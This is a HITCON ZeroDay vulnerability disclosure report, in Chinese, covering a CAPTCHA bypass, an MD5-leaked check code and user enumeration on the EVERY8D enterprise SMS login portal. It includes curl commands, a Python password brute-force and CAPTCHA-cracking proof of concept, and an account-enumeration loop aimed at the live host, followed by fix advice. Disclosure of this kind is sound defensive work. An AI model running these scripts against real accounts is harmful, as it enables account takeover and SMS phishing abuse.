互動資通 EVERY8D 企業入口 CAPTCHA 雙重繞過 — CheckCode MD5 洩漏 + 登入端點無伺服器端驗證 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00633
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D 企業入口 CAPTCHA 雙重繞過 — CheckCode MD5 洩漏 + 登入端點無伺服器端驗證
  • Introduction: 企業入口登入端點完全不驗證 CAPTCHA,且 CheckCode 為 MD5 洩漏,可無限制暴力破解帳號密碼。

處理狀態

目前狀態

公開
Last Update : 2026/08/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/06 01:31:06 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:54:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:49:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/07/06 11:06:11 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:12:25 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/29 12:10:12 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/01 14:47:35 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/05 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00633
  • 通報者:guan4tou2 (罐頭)
  • 風險:高
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://every8d.teamplus.tech/every8d30/Common/VerifyCodeImage.aspx
https://every8d.teamplus.tech/every8d30/Common/CheckHandler.ashx
https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx
https://every8d.teamplus.tech/every8d30/login.aspx

敘述

漏洞概述

EVERY8D 企業 SMS 管理入口 https://every8d.teamplus.tech/every8d30/ 的登入機制存在雙重設計缺陷:

缺陷一:CheckCode = MD5(lowercase CAPTCHA 文字)

GET /Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true 回傳:

{
  "IsSuccess": true,
  "Base64String": "data:image/gif;base64,R0lGODlh...",
  "CheckCode": "41F97A0C2831403F22D9D93EC5E7C4A0"
}

CheckCode 為 CAPTCHA 圖片中可見文字(轉小寫)的 MD5 雜湊值。4 字元英數組合僅有 1,679,616 種可能(36^4),暴力破解耗時 < 2 秒。

缺陷二:登入端點無伺服器端 CAPTCHA 驗證(更嚴重)

前端 JavaScript 在呼叫 /Account/AccountHandler.ashx?action=login 之前會呼叫 /Common/CheckHandler.ashx 驗證 CAPTCHA,但 AccountHandler.ashx 完全不驗證此步驟是否已完成,可直接跳過。

重現步驟(Live verified: 2026-05-06)

步驟 1:確認 CheckCode = MD5(lowercase CAPTCHA 文字)

# 取得 CAPTCHA
curl -s 'https://every8d.teamplus.tech/every8d30/Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true' | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print('CheckCode:', d['CheckCode'])"
# 輸出:CheckCode: 41F97A0C2831403F22D9D93EC5E7C4A0

# 驗證:圖片顯示 "KDV7"
python3 -c "import hashlib; print(hashlib.md5('kdv7'.encode()).hexdigest().upper())"
# 輸出:41F97A0C2831403F22D9D93EC5E7C4A0  ← 完全吻合

步驟 2:確認 AccountHandler.ashx 完全不驗證 CAPTCHA(核心漏洞)

# 直接呼叫登入端點(不經過任何 CAPTCHA 流程)
curl -s -X POST 'https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'action=login&userId=testuser_bypass_test&password=WrongPass123&isApi20=false&IP='

實測輸出(2026-04-29):

{
  "result": false,
  "message": "帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!",
  "page": null,
  "needMFA": false,
  "businessAccount": false
}

→ 回傳帳號或密碼錯誤(而非 CAPTCHA 錯誤),確認伺服器端完全不驗證 CAPTCHA。

步驟 3:完整自動化暴力破解 PoC(含 CheckCode MD5 破解)

import itertools, hashlib, string, requests

BASE_URL = 'https://every8d.teamplus.tech/every8d30'

def get_captcha_and_crack():
    """取得 CheckCode 並暴力破解 MD5"""
    resp = requests.get(f'{BASE_URL}/Common/VerifyCodeImage.aspx?ISDB=true&ISBase64=true')
    check_code = resp.json()['CheckCode']

    charset = string.digits + string.ascii_lowercase  # 36 字元
    for length in range(3, 7):
        for combo in itertools.product(charset, repeat=length):
            candidate = ''.join(combo)
            if hashlib.md5(candidate.encode()).hexdigest().upper() == check_code:
                return candidate.upper(), check_code  # 2 秒內找到(4 字元)
    return None, check_code

def bypass_captcha_check(captcha_text, check_code):
    """通過 CheckHandler.ashx CAPTCHA 驗證"""
    r = requests.post(f'{BASE_URL}/Common/CheckHandler.ashx',
        data={'action': 'check', 'checkCode': captcha_text, 'ISDB': 'false', 'VerifyCode': check_code})
    return r.text.startswith('0000')  # 0000 = 成功

def try_login(userid, password):
    """直接呼叫登入端點(跳過 CAPTCHA 流程)"""
    r = requests.post(f'{BASE_URL}/Account/AccountHandler.ashx',
        data={'action': 'login', 'userId': userid, 'password': password,
              'isApi20': 'false', 'IP': ''})
    return r.json()

# 暴力破解示範(方法 A:直接繞過,無需 CAPTCHA)
TARGET = 'target_enterprise_account'
for pw in ['password', '123456', 'every8d2024', 'admin123']:
    result = try_login(TARGET, pw)
    if result.get('result'):
        print(f'[!] LOGIN SUCCESS: {TARGET}:{pw}')
        break
    print(f'[-] {pw}: {result["message"]}')

實測輸出(2026-04-29):

[-] password: 帳號或密碼錯誤,...
[-] 123456: 帳號或密碼錯誤,...

(收到帳密錯誤而非 CAPTCHA 錯誤 → CAPTCHA 完全繞過確認)

前端 CAPTCHA 流程與伺服器端不一致分析

前端 JavaScript 設計(login.aspx):

function isOpenVCLogin() {
    if ('True' == 'True') {  // CAPTCHA 永遠啟用(硬編碼)
        apply();  // → 先驗 CheckHandler.ashx,再呼叫 AccountHandler.ashx
    } else {
        login();  // 直接登入
    }
}

但 AccountHandler.ashx 不會檢查「是否已通過 CheckHandler.ashx 驗證」,使得 CAPTCHA 成為純客戶端檢查,完全可被繞過。

步驟 4:帳號枚舉(User Enumeration via Lv Error Code)

# 存在帳號 vs 不存在帳號的錯誤訊息差異
for user in "xyzzy12345nonexistent" "aaabbbccc99999" "test" "jack"; do
  MSG=$(curl -s -X POST 'https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx' \
    -d "action=login&userId=$user&password=WrongPass&isApi20=false&IP=" | \
    python3 -c "import sys,json; print(json.load(sys.stdin).get('message',''))")
  echo "$user: $MSG"
done

實測輸出(2026-04-29):

xyzzy12345nonexistent: 帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!
aaabbbccc99999:        帳號或密碼錯誤,若有疑問,請聯繫客服人員協助處理,感謝您!
test:                  帳號或密碼錯誤(Lv6),若有疑問,請聯繫客服人員協助處理,感謝您!
jack:                  帳號或密碼錯誤(Lv6),若有疑問,請聯繫客服人員協助處理,感謝您!

→ (LvN) 後綴僅在帳號存在時出現,可明確區分有效帳號。

完整攻擊鏈

1. 批次枚舉有效帳號(/(LvN)/ pattern 過濾)
2. 對確認有效帳號直接呼叫 AccountHandler.ashx(無 CAPTCHA、無速率限制)
3. 暴力破解常見密碼
4. 取得 EVERY8D 企業帳號存取權限
   → 讀取 SMS 傳送記錄(含客戶手機號)
   → 濫用 SMS 預算傳送詐騙/釣魚簡訊
   → 操控雙因素驗證流程

與同系列漏洞的關係

本漏洞屬於同公司(互動資通)CAPTCHA 機制系統性缺陷的延伸:

系統 漏洞機制 影響端點 已回報
SafeSay/TeamPlus BAPI(6 端點) data_code = 明文 CAPTCHA 解答 /v1/token 登入 ZD-2026-00614
EVERY8D 企業入口 MD5 洩漏 + 登入端點無驗證 /Account/AccountHandler.ashx 本通報

已驗證影響(Verified)

  • ✅ AccountHandler.ashx 直接接受登入請求(無需 CAPTCHA 驗證)— 2026-04-29 實測
  • ✅ VerifyCodeImage.aspx 回傳 CheckCode = MD5(lowercase CAPTCHA)(確認)
  • ✅ CheckHandler.ashx CAPTCHA 驗證:知道 CheckCode 即可通過(確認)
  • ✅ 登入錯誤訊息洩漏帳號存在狀態(帳密錯誤 vs 帳號不存在可能有差異)

潛在影響(Potential)

  • 攻擊者可對所有 EVERY8D 企業帳號發動無限制自動化暴力破解
  • 每個帳號掌管其組織的 SMS 傳送預算、收件人名單及 2FA 簡訊服務設定
  • 攻陷高餘額帳號可大量濫發 SMS(詐騙、釣魚)
  • 與 ZD-2026-00631(SMS API 憑證洩漏,帳號餘額)組合,形成完整 SMS 濫用攻擊鏈

修補建議

1. 立即:在 AccountHandler.ashx 的 login action 中加入伺服器端 CAPTCHA 驗證(Session token 或 HMAC 機制)
2. 立即:VerifyCodeImage.aspx 不應回傳可被逆向的 CheckCode 欄位;改為 Session-based server-side token
3. 短期:對 AccountHandler.ashx 加入速率限制(每 IP/帳號每分鐘最多 N 次嘗試)
4. 短期:考慮遷移至 hCaptcha 或 Google reCAPTCHA v3 等無法被客戶端逆向的 CAPTCHA 方案
5. 即時驗證:修補後確認繞過 CheckHandler.ashx 直接呼叫 AccountHandler.ashx 會被拒絕

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;